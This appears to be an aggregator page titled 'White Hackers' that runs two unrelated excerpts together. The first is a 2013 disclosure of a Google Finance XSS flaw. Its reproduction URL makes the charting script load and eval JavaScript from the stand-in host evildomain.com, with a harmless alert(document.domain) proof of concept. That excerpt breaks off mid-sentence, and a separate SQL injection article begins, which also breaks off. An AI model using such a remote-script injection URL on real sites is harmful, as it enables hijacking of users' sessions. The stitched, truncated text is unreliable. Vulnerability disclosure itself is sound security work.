White Hackers

On July 11 2013, I reported to Google Security a XSS vulnerability I discovered in  google.com main domain, which required no user interaction. It is due to a glitch in  Google Finance , which is hosted on  google.com/finance , that allows to trick the Javascript application for plotting charts (in particular, sourcefile  /finance/f/sfe-opt.js ) to load a file hosted on an external domain and  eval()  its content as Javascript code. This exploit does not require any user interaction, it's just a matter of clicking on a URL. Steps to reproduce: Just click on this URL ( now fixed ):  https://www.google.com/finance?chdet=1214596800000&q=NASDAQ:INTC&ntsp=2&ntrssurl=https://evildomain.com/x.js . File  x.js  contains the following proof-of-concept code for demonstration purposes: alert ( document . domain ); The file has to be hosted over HTTPS. The remote Javascript is executed. How does it work? Here is the (obfuscated) code snippet of  /finance

Put on your black hats folks, it’s time to learn some genuinely interesting things about SQL injection. Now remember – y’all play nice with the bits and pieces you’re about to read, ok? SQL injection is a particularly interesting risk for a few different reasons: It’s getting increasingly harder to write vulnerable code due to frameworks that automatically parameterise inputs – yet we still write bad code. You’re not necessarily in the clear just because you use stored procedures or a shiny ORM (you’re aware that  SQLi can still get through these , right?) – we still build vulnerable apps around these mitigations. It’s easily detected remotely by automated tools which can be orchestrated to crawl the web searching for vulnerable sites – yet we’re still putting them out there. It remains  number one on the OWASP Top 10  for a very good reason – it’s common, it’s very easy to exploit and the impact of doing so is severe. One little injection risk in one little feature is often